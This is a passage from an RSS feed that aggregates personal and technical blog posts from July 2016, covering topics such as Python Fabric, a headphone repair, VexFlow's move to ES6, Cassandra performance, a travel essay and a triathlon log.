&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 19 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/pokemon-go-bookmarks</guid></item><item><title>Python Fabric Set Host List at Runtime</title><link>https://boyter.org/2016/07/python-fabric-set-host-list-runtime/</link><description>&lt;p&gt;With the advent of cloud computing where you spin up and tear down servers at will it becomes extremely useful to pick the hosts you want fabric to run on at runtime rather then through the usual env.hosts setting. This allows you to query your servers through your cloud providers API without having to maintain a list. This can be a more powerful and flexible technique then using roles and in a devops world can save you a lot of time.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 19 Jul 2016 01:40:13 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/07/python-fabric-set-host-list-runtime/</guid></item><item><title>Ten minute hacks: Hacking airplane headphones</title><link>https://purpleidea.com/blog/2016/07/18/ten-minute-hacks-hacking-airplane-headphones/</link><description>&lt;p&gt;I was stuck on a 14 hour flight last week, and to my disappointment, only one of the two headphone speakers were working. The plane&amp;rsquo;s media centre has an audio connector that looks like this:&lt;/p&gt;
&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="airplane-headphones-jack.jpg"&gt;&lt;img alt="airplane-headphones-jack" class="wp-image-1856 size-large" height="100%" src="airplane-headphones-jack.jpg" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt; Someone should consider probing this USB port.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;The hole to the left is smaller than a 3.5mm headphone jack, and designed for a proprietary headphone connector that I didn&amp;rsquo;t have, and the two holes to the right are part of a different proprietary connector which match with the cheap airline headphones to provide the left and right audio channels.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 18 Jul 2016 19:41:47 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/07/18/ten-minute-hacks-hacking-airplane-headphones/</guid></item><item><title>Restricted Boltzmann Machines</title><link>https://ben.bolte.cc/posts/2016-07-18-generative</link><description>Building on the Recurrent RBM for sequence modeling. This post relates to what I am doing for my Master's thesis.</description><author>Ben Bolte</author><pubDate>Mon, 18 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ben.bolte.cc/posts/2016-07-18-generative</guid></item><item><title>Card wallet with a tail</title><link>https://june.kim/card-wallet-with-a-tail/</link><author>june.kim</author><pubDate>Mon, 18 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/card-wallet-with-a-tail/</guid></item><item><title>Numerical Analysis by Burden &amp;amp; Faires</title><link>https://june.kim/numerical-analysis/</link><author>june.kim</author><pubDate>Mon, 18 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/numerical-analysis/</guid></item><item><title>My experience with asm.js</title><link>https://zserge.com/posts/my-experience-with-asmjs/</link><description>It all started with Glitch, a tiny algorithmic music composer. I spent lots of time deciding whether I should choose a native approach (e.g. C++, Qt, RtAudio) or an HTML5 way. After all I decided to give HTML5 a try - there is JavaScript which I still like, WebAudio that runs everywhere, UI that can be ported to desktop thanks to Electron, and I&amp;rsquo;ve heard browsers are really good at performance these days.</description><author>zserge's blog</author><pubDate>Mon, 18 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/my-experience-with-asmjs/</guid></item><item><title>Debugging built into node</title><link>https://peterlyons.com/problog/2016/07/debugging-built-into-node/</link><description>&lt;p&gt;Big news in node.js land! node.js v6.3.0 now ships with experimental support for built-in debugging via the chrome devtools. I've updated my &lt;a href="https://peterlyons.com/js-debug"&gt;JS Debugging&lt;/a&gt; article/talk with all the details you need to use this awesome new capability to give yourself debugging superpowers.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sun, 17 Jul 2016 19:38:01 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/07/debugging-built-into-node/</guid></item><item><title>Mr. Robot: Season 2</title><link>https://olshansky.info/tv/mr._robot_season_2/</link><description>Olshansky's review of Mr. Robot: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 17 Jul 2016 17:28:48 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/mr._robot_season_2/</guid></item><item><title>How much travel do I want?</title><link>http://dimitarsimeonov.com/2016/07/17/how-much-travel-do-i-want</link><description>&lt;p&gt;I have been traveling for about 40-something days now, and I don’t
feel the way I expected. I hadn’t traveled around the northwest USA
nor much of Europe before so I expected that I’d want to spend every
day exploring around, to see the local history and culture. On
previous, short vacations, I had spent most of the time going from one
attraction to another.&lt;/p&gt;

&lt;p&gt;And I did explore for a while. I drove around between cities and
national parks, I took a plane across the Atlantic and I then I took
public transport and trains. I saw lakes in volcanic craters, hiked up
in snow, and in sauna-worthy heat, and then in snow again. I drank beer from
local breweries and had a dinner on a revolving restaurant. I had a
close encounter with a black bear and saw Mormons getting wed. I saw
how bike-friendly Amsterdam is and how cosmopolitan Berlin is. I saw
that German trains work until they don’t. I saw people who are nice in
your face and remain nice when the incentive is gone, and I saw people
who change their skin as soon their business interest is done. And
most people are of the kind type.&lt;/p&gt;

&lt;p&gt;And yet, while I was gorging on exploration, in my mind, I gradually
started feeling malnourished. Traveling was a feast, but the meals
were all sweet. I had a cookie for appetizer, pie for a main meal and
a tiramisu for dessert. All the exploration I’ve done was stimulating
like sugar, but I was lacking the salt.&lt;/p&gt;

&lt;p&gt;I needed to take some “salty” time. Time during which I process all
the excitement from the sweet times in order to assimilate it and
preserve it. Time to write down my thoughts, and time to reflect. Time
to be creative. Time to learn, and time to code.&lt;/p&gt;

&lt;p&gt;From the beginning of my travel, I started writing essays more
actively. This scratched my creativity “itch” and provided a dash of
salt to balance the sweet high of travel. Yet, it wasn’t enough. Three
weeks in, I felt excitement for coding. Few days later, in Amsterdam,
me and my wife made our own hackaton. We spent a day coding and
playing. I learned about TensorFlow, coded up convolutional neural
networks to recognize digits and learning more about recurrent neural
networks and LSTMs. I hadn’t tasted computer science and math for a
month and its saltiness was delicious, like a home cooked meal I
hadn’t eaten for a while.&lt;/p&gt;

&lt;p&gt;The hackaton brought creativity and learning and made my day. The day
before, the Van Gogh museum brought exploration and learning which
also made my day. I needed both of them to balance my information
diet. When I was at work, I had a lot of coding and a little bit of
creativity and exploration. Now, during travel, I get plenty of
exploration, and more creativity at the expense of coding. Coding and
writing make my day exciting.&lt;/p&gt;

&lt;p&gt;I like the mental travel of writing and coding. Writing helps me
develop and clarify my thoughts and coding means going to they gym for
the mind. Removing them from my life temporary made me realize how I
miss them and need them. In the search to maximize travel and
exploration, which I appreciate, I also learned to appreciate
creativity, thoughtfullness and problem solving.&lt;/p&gt;

&lt;p&gt;Travel has been an experiment about my lifestyle diet. It proved that
I need exploration, and reading, and writing, and coding, and
relationships. Currently, I have more travel time and I can experiment
with different proportions and see which combination I want the
most. I’m excited to learn about my preferences, so I can organize my
life to meet them, when I get back to working full time.&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 17 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/07/17/how-much-travel-do-i-want</guid></item><item><title>2016-07-17</title><link>https://ho.dges.online/pictures/2016-07-17/</link><description/><author>ho.dges.online</author><pubDate>Sun, 17 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-07-17/</guid></item><item><title>Custom Markdown rendering</title><link>https://www.danielcorin.com/posts/2016/2016-07-16-custom-marked/</link><description>Custom Markdown rendering</description><author>Thought Eddies</author><pubDate>Sat, 16 Jul 2016 20:28:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2016/2016-07-16-custom-marked/</guid></item><item><title>What Are We</title><link>https://venam.net/blog/philosophy/2016/07/17/what-are-we.html</link><description>We are born, we live, and we die. Yet, humans presumptuously want to ply meaning with their existence.  What am I — Just a coincidence? What makes me special, am I distinguishable?  We're not blind and won't be satisfied with the unlaborious mythological answers.  Which are only enough for the simple minds.  The essence is there, somewhere downstairs...</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 16 Jul 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/philosophy/2016/07/17/what-are-we.html</guid></item><item><title>Do I need to learn Webpack when starting with React?</title><link>https://goshacmd.com/you-dont-need-learn-webpack-first-with-react/</link><author>Gosha Spark</author><pubDate>Sat, 16 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/you-dont-need-learn-webpack-first-with-react/</guid></item><item><title>Computer Networking: A Top-Down Approach</title><link>https://june.kim/kurose-ross/</link><author>june.kim</author><pubDate>Fri, 15 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/kurose-ross/</guid></item><item><title>Procedural Shape Editor</title><link>http://www.nuke24.net/plog/11.html</link><author>TOGoS's Project Log</author><pubDate>Thu, 14 Jul 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/11.html</guid></item><item><title>C++ Concepts: New keywords</title><link>https://studiofreya.org/cpp/cpp-concepts-new-keywords/</link><description>&lt;p&gt;The concepts extension introduces 5 new keywords. Only &lt;code&gt;concept&lt;/code&gt; and &lt;code&gt;requires&lt;/code&gt; are implemented, though the &lt;a href="https://gcc.gnu.org/onlinedocs/gcc/C_002b_002b-Concepts.html#C_002b_002b-Concepts" target="_blank"&gt;GCC documentation&lt;/a&gt; states there are 5 new keywords, only 2 are real keywords at the moment.&lt;/p&gt;
&lt;p&gt;Trying to use the keywords as variable names or function names are not permitted. Any code which previously used any of the following keywords have to be changed before a concepts-enabled compiler will successfully compile and build.&lt;/p&gt;
&lt;h2 id="concepts-lite-keywords"&gt;&lt;span id="Concepts-Lite-keywords"&gt;Concepts Lite keywords&lt;/span&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;concept
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Introduces a concept definition. Concepts are sets of syntactic and semantic requirements on types and their values.&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Thu, 14 Jul 2016 12:22:37 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/cpp/cpp-concepts-new-keywords/</guid></item><item><title>Links - July 14th, 2016</title><link>https://faingezicht.com/links/2016/07/14/links/</link><description>As you can tell from the articles below, I've read a lot about consciousness lately. In general, I like the topic a lot, but I was actually trying to find an article on the subject from a couple of years ago that I remember being really good. Sadly, I didn't find it, but it did take me down the rabbit hole of the Internet, and I found all of the consciousness related posts below, so hopefully you will enjoy those.</description><author>Avy Faingezicht</author><pubDate>Thu, 14 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/07/14/links/</guid></item><item><title>Null Object Tech Meetup Vol 3</title><link>https://muffinman.io/blog/null-object-meetup-vol-3/</link><description>&lt;article class="article"&gt;&lt;p&gt;Another tech meetup is behind us, even more people came this time.
As promised, we will keep them coming more often.&lt;/p&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Myself talking at the meetup" height="667" src="./2.JPG" width="1000" /&gt;&lt;/figure&gt;
&lt;p&gt;Miloš spoke first about learning in tech, and keeping up with it.
My talk was about SPAs, and how hard they can be.&lt;/p&gt;
&lt;p&gt;We hope that meetups like this will help to build and strengthen the community in Belgrade, and Serbia in general.
At this point that is not something we can brag about.
We are planning charity hackatons as well and I&amp;#x27;ll keep you posted about them.&lt;/p&gt;
&lt;p&gt;Grab the slides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="/pdf/Null Object Tech Meetup - Keeping up with the tech.pdf"&gt;Keeping up with the tech&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="/pdf/Null Object Tech Meetup - SPAs are hard.pdf"&gt;Single Page Applications are hard&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Miloš" height="667" src="./1.JPG" width="1000" /&gt;&lt;/figure&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Audience" height="637" src="./3.JPG" width="1000" /&gt;&lt;/figure&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 13 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/null-object-meetup-vol-3/</guid></item><item><title>New in VexFlow: ES6, Visual Regression Tests, and more!</title><link>https://0xfe.blogspot.com/2016/07/new-in-vexflow-es6-visual-regression.html</link><description>&lt;div dir="ltr" style="text-align: left;"&gt;
Lots of developments since the last time I posted about VexFlow.&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style="text-align: left;"&gt;
VexFlow is ES6&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Thanks to the heroics of &lt;a href="http://github.com/SilverWolf90"&gt;SilverWolf90&lt;/a&gt; and &lt;a href="http://github.com/AaronMars"&gt;AaronMars&lt;/a&gt;, and the help from many others, VexFlow's entire &lt;code&gt;src/&lt;/code&gt; tree has been migrated to ES6. This is a huge benefit to the project and to the health of the codebase. Some of the wins are:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Real modules, which allows us to extract explicit dependency information and generate graphs like &lt;a href="https://github.com/0xfe/vexflow/wiki/VexFlow-Dependency-Graph"&gt;this&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Const-correctness and predictable variable scoping with &lt;code&gt;const&lt;/code&gt; and &lt;code&gt;let&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Classes, lambda functions, and lots of other structural enhancements that vastly improve the clarity and conciseness of the codebase.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aiqkRZhH7qzKgGfHCA1yXvmcc4CvQwetLQEHvrQej3ugBVywShEIL3tPMIFw93rJU4Qf7yyerY2Ha60AgIvadGwq98fZLMrTLbzRg0h0y9v1XG_sIyFh4lVEmi2tq-HbikKDMg/s1600/Screen+Shot+2016-07-12+at+10.06.20+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="390" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aiqkRZhH7qzKgGfHCA1yXvmcc4CvQwetLQEHvrQej3ugBVywShEIL3tPMIFw93rJU4Qf7yyerY2Ha60AgIvadGwq98fZLMrTLbzRg0h0y9v1XG_sIyFh4lVEmi2tq-HbikKDMg/s640/Screen+Shot+2016-07-12+at+10.06.20+AM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Part of the migration effort also involved making everything lint-clean, improving the overall style and consistency of the codebase -- see &lt;a href="http://github.com/SilverWolf90"&gt;SilverWolf90&lt;/a&gt;'s brief document on how &lt;a href="https://github.com/0xfe/vexflow/wiki/Migrating-to-ESLint"&gt;here&lt;/a&gt;.&lt;/div&gt;
&lt;h3 style="text-align: left;"&gt;
&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style="text-align: left;"&gt;
Visual Regression Tests&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
VexFlow now has a visual regression test system, and all image-generating QUnit tests are automatically included.&lt;br /&gt;
&lt;br /&gt;
The goal of this system is to detect differences in the rendered output without having to rely on human eyeballs, especially given the huge number of tests that exist today. It does this by calculating a perceptual hash (PHASH) of each test image and comparing it with the hash of a good known blessed image. The larger the arithmetic distance between the hashes, the more different are the two images.&lt;br /&gt;
&lt;br /&gt;
The system also generates a diff image, which is an overlay of the two images, with the differences highlighted, to ease debugging. Here's an example of a failing test:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxeptv0TDTSQB4_RFZOumVUFEhBNkP8P3mIiTWAJSVescGm8Fx5x0-qqZYZiPSfK8Vfrc9GiNxsjhdTzalnb243CDZ_LmqI8Y-TvxblFvAxOKT_aK_j7I4q6SZ8DcdUqIGuZlSvA/s1600/Screen+Shot+2016-07-12+at+9.46.16+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxeptv0TDTSQB4_RFZOumVUFEhBNkP8P3mIiTWAJSVescGm8Fx5x0-qqZYZiPSfK8Vfrc9GiNxsjhdTzalnb243CDZ_LmqI8Y-TvxblFvAxOKT_aK_j7I4q6SZ8DcdUqIGuZlSvA/s640/Screen+Shot+2016-07-12+at+9.46.16+AM.png" width="600" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
These tests are run automatically for all PRs, commits, and releases. Props to &lt;a href="http://github.com/panarch"&gt;Taehoon Moon&lt;/a&gt; for migrating the regression tests from NodeJS to SlimerJS, giving us headless support and Travis CI integration. To find out more, read the Wiki page on &lt;a href="https://github.com/0xfe/vexflow/wiki/Visual-Regression-Tests"&gt;Visual Regression Tests&lt;/a&gt;.&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style="text-align: left;"&gt;
Native SVG&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Thanks to the awesome contribution of &lt;a href="http://github.com/gristow"&gt;Gregory Ristow&lt;/a&gt;, VexFlow now has a native SVG rendering backend, and the &lt;a href="http://raphaeljs.com/"&gt;RaphaelJS&lt;/a&gt; backend has been deprecated. This not only reduces the overall size and bloat, but also hugely improves rendering performance.&lt;br /&gt;
&lt;br /&gt;
The new backend is called &lt;code&gt;Rendering.Backends.SVG&lt;/code&gt; with the code at&amp;nbsp;&lt;a href="https://github.com/0xfe/vexflow/blob/master/src/svgcontext.js"&gt;Vex.Flow.SVGContext&lt;/a&gt;. Here is a quick example of how to use the new backend:&amp;nbsp;&lt;a href="https://jsfiddle.net/nL0cn3vL/2/"&gt;https://jsfiddle.net/nL0cn3vL/2/&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
Improved Microtonal Support&lt;/h3&gt;
&lt;br /&gt;
VexFlow now has better support for Arabic, Turkish, and other microtonal music via accidentals and key signatures. Thanks to &lt;a href="http://github.com/infojunkie"&gt;infojunkie&lt;/a&gt; for a lot of the heavy lifting here, and to all the contributors in the &lt;a href="https://github.com/0xfe/vexflow/issues/318"&gt;GitHub issue&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKqsOnWIHkdB5VVqFfq6gj2wgiwJXzN1Sk8XR2qJX_6EZ-2xnrzBYL5eZy23MiDbm5GCvgNA_TBzjFQ8JOCoA2JlOVMD7rw3jQxk4YphClucw6TQGtnc1-ZJgNhWYtX18BKHKMcQ/s1600/Screen+Shot+2016-07-12+at+9.50.40+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKqsOnWIHkdB5VVqFfq6gj2wgiwJXzN1Sk8XR2qJX_6EZ-2xnrzBYL5eZy23MiDbm5GCvgNA_TBzjFQ8JOCoA2JlOVMD7rw3jQxk4YphClucw6TQGtnc1-ZJgNhWYtX18BKHKMcQ/s640/Screen+Shot+2016-07-12+at+9.50.40+AM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYh59DufskkVVEVorHw4Of9VzlaEjU2i2GG8p8q3-PpWfFZrbEcWs8rvfyiEvJ1gfJwvRoEjzkW88AzO4O2LUo-Vs3PU97AmA6ZINyvz5zm4vwfU_s89qNFNrcf56tys6hDXVN6w/s1600/Screen+Shot+2016-07-12+at+9.50.52+AM.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYh59DufskkVVEVorHw4Of9VzlaEjU2i2GG8p8q3-PpWfFZrbEcWs8rvfyiEvJ1gfJwvRoEjzkW88AzO4O2LUo-Vs3PU97AmA6ZINyvz5zm4vwfU_s89qNFNrcf56tys6hDXVN6w/s640/Screen+Shot+2016-07-12+at+9.50.52+AM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Microtonal support is by no means complete, but this is a noteworthy step forward in the space.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
Other Stuff&lt;/h3&gt;
&lt;br /&gt;
Lots of other stuff worth mentioning:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Support for user interactivity in SVG notation. You can attach event-handlers to elements (or groups of elements) and dynamically modify various properties of the score.&lt;/li&gt;
&lt;li&gt;Improved bounding-box support.&lt;/li&gt;
&lt;li&gt;Alignment of clef, timesignature, and other stave modifiers during mid-measure changes.&lt;/li&gt;
&lt;li&gt;Lots of improvements to the build system and Travis CI integration.&lt;/li&gt;
&lt;li&gt;Lots of bug fixes related to beaming, tuplets, annotations, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Many thanks to all the contributors involved!&lt;/div&gt;
&lt;/div&gt;</description><author>0xFE - 11111110b - 0376</author><pubDate>Tue, 12 Jul 2016 17:23:04 GMT</pubDate><guid isPermaLink="true">https://0xfe.blogspot.com/2016/07/new-in-vexflow-es6-visual-regression.html</guid></item><item><title>Zero Downtime Rebrand</title><link>http://blog.untrod.com/2016/07/zero-downtime-rebrand.html</link><description>&lt;p&gt;&lt;a href="https://github.com/noazark/"&gt;Noah Smith&lt;/a&gt; and I gave this presentation at the San Francisco Django meetup in March of 2016, shortly after we rebranded ePantry to Grove Collaborative. Here's how we pulled it off.&lt;/p&gt;


&lt;p&gt;&lt;img alt="first-screen" src="http://blog.untrod.com/images/rebrand-slides/20160330-Rebrand-Django-Meetup-01.png" /&gt;
&lt;em&gt;Welcome folks!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="first-screen" src="http://blog.untrod.com/images/rebrand-slides/20160330-Rebrand-Django-Meetup-02.png" /&gt;
&lt;em&gt;That's us&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="first-screen" src="http://blog.untrod.com/images/rebrand-slides/20160330-Rebrand-Django-Meetup-03.png" /&gt;
&lt;em&gt;We rebranded on March 8, 2016. Grove is an aspiration brand that speaks to our …&lt;/em&gt;&lt;/p&gt;</description><author>Untrod</author><pubDate>Tue, 12 Jul 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/07/zero-downtime-rebrand.html</guid></item><item><title>How to be a genius: Van Gogh was a profilic hacker</title><link>http://dimitarsimeonov.com/2016/07/12/how-to-be-a-genius-van-gogh-was-a-profilic-hacker</link><description>&lt;p&gt;While visiting Amsterdam I explored the Van Gogh Museum. Seeing his
paintings and listening to the audio guide, I learned about his effort
to become a better painter and about his personal story.&lt;/p&gt;

&lt;p&gt;What amazed me the most was how he made himself a “genius” through
hard, dedicated work.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(if I got any of the things below factually wrong, please let me
know!)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Vincent Van Gogh was prolific. He “shipped” a lot of paintings, and
did a lot of exercises to improve his technique. His time went into
painting. Subsidized by his brother Theo, Vincent Van Gogh didn’t have
a day job and could fully focus on creating art.&lt;/p&gt;

&lt;p&gt;He improved his craft beyond his personal limits and beyond the
contemporary limits. He practices to paint mundane things like a
forearm, in order to get the details right. He practices different
types of strokes - short, long, dots, curved, straight. He tries out
different color combinations. The strength of his technique allowed
him to do novel things - wet-on-wet painting, and using sparse heavy
brush strokes.&lt;/p&gt;

&lt;p&gt;While he cared about the “craft”, he cared even more about the actual
result and product of the painting.  Van Gogh really cared about the
target of his painting. He was fond of the rural life and people and
really cared about portraying them and their life in his canvas. He
wanted to portray things in their essence. His paintings send emotions
to me, and I know nothing about painting technique. And generally
don’t care. People don’t care about how hard it was for the painter to
make the painting, the care about how it makes them feel.&lt;/p&gt;

&lt;p&gt;Van Gogh was resourceful! When he didn’t have subjects available, he
painted self portraits, instead of despairing or procrastinating. I
don’t really know history of Art, but I wouldn’t be surprised, if Van
Gogh was the person who took the highest number of selfies up until
his time.&lt;/p&gt;

&lt;p&gt;He started painting in his late twenties and there has been only a
decade from his beginning to paint, to reaching world class level. His
prolificness, mastery of the craft, resourcefulness and caring about
the product made him reach such a high level so quickly.&lt;/p&gt;

&lt;p&gt;Van Gogh was great &lt;em&gt;despite&lt;/em&gt; his mental illness. He didn’t get “lucky”
to become more creative from his illness. He got unluckly to lose his
wits when he was doing state of the art work. After the begining of
his illness, he was using his art to fight insanity. He put a lot of
deliberate effort into becoming a great painter, and just when he was
innovative, an unknown mental illness brought him down, as he painted
on average a masterpiece per day.&lt;/p&gt;

&lt;p&gt;To me, his fight with insanity is his biggest masterpiece.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 12 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/07/12/how-to-be-a-genius-van-gogh-was-a-profilic-hacker</guid></item><item><title>How Cassandra's inner workings relate to performance</title><link>https://manuel.kiessling.net/2016/07/11/how-cassandras-inner-workings-relate-to-performance/</link><description>This is a cross post from the GALERIA Kaufhof Technology Blog.
About At Galeria.de, we learned the hard way that it's critical to understand the inner workings of the distributed masterless database Cassandra if one wants to experience good performance during reads and writes. This post describes some of the details of how Cassandra works under the hood, and shows how understanding these details helps to anticipate which use patterns work well and which don't.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Mon, 11 Jul 2016 18:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/07/11/how-cassandras-inner-workings-relate-to-performance/</guid></item><item><title>The Last Two Weeks</title><link>https://faingezicht.com/photos/2016/07/11/two-weeks/</link><description>Summer in San Francisco is great. On most days, the city gets cold and foggy, so it is better to stay inside. Luckily, an hour or two away there are endless warm options to get away to. I definitely took advantage of it these past weeks.</description><author>Avy Faingezicht</author><pubDate>Mon, 11 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/07/11/two-weeks/</guid></item><item><title>The State of Android in 2016 &amp;amp; The OnePlus 3 Phone</title><link>https://smcleod.net/2016/07/the-state-of-android-in-2016-the-oneplus-3-phone/</link><description>&lt;p&gt;I wanted to try Android for a couple of weeks, I like staying on top of technology, gadgets and making sure I never become a blind &amp;lsquo;zealot&amp;rsquo; for any platform or brand.&lt;/p&gt;
&lt;h2 id="the-oneplus-3"&gt;The OnePlus 3&lt;/h2&gt;
&lt;p&gt;I did a lot of research and decided to try the &amp;ldquo;Oneplus 3&amp;rdquo; as it was good bang-for-buck, ran the latest software had plenty of grunt with the latest 8 core, high clock speed Qualcomm processor coupled with 6GB of DDR4 - the specs really are very impressive, especially for a $400USD phone.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Mon, 11 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/07/the-state-of-android-in-2016-the-oneplus-3-phone/</guid></item><item><title>Much Wenlock Triathlon 2016</title><link>https://caiustheory.com/much-wenlock-triathlon-2016/</link><description>&lt;p&gt;&lt;strong&gt;500m Pool Swim: 00:11:34&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Felt good setting off, within a couple of lengths felt like I had no energy. Didn’t have enough to eat/drink during the morning before starting, really makes a huge difference once you set off. Must remember to replace my goggles at some point too, the strap comes loose without warning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 1: 00:03:06&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rough time for transition. Legs felt good as soon as I was out the pool. Got my kit on without too much trouble, although taking a t-shirt style cycling top instead of a full zip jacket was a mistake—forgot I’d be putting it on wet. Had a gel in transition in the hope it would give me some energy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;19km Cycle: 00:48:03&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lovely start to the cycle route, massive downhill on recently resurfaced roads for the most part. Best part of the cycle ride, with the rest of the route consisting of climbing back up to the start. Couple of nasty steep hills I had to walk sections of, for all I fitted lower gears they still weren&amp;rsquo;t low enough given my lack of bike fitness currently.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 2: 00:06:57&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bike racked easily, shoes swapped, gel necked and a couple of Lucozade bottles clutched and off to run. Took on another gel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7km Run: 01:04:37&lt;/strong&gt;&lt;/p&gt;
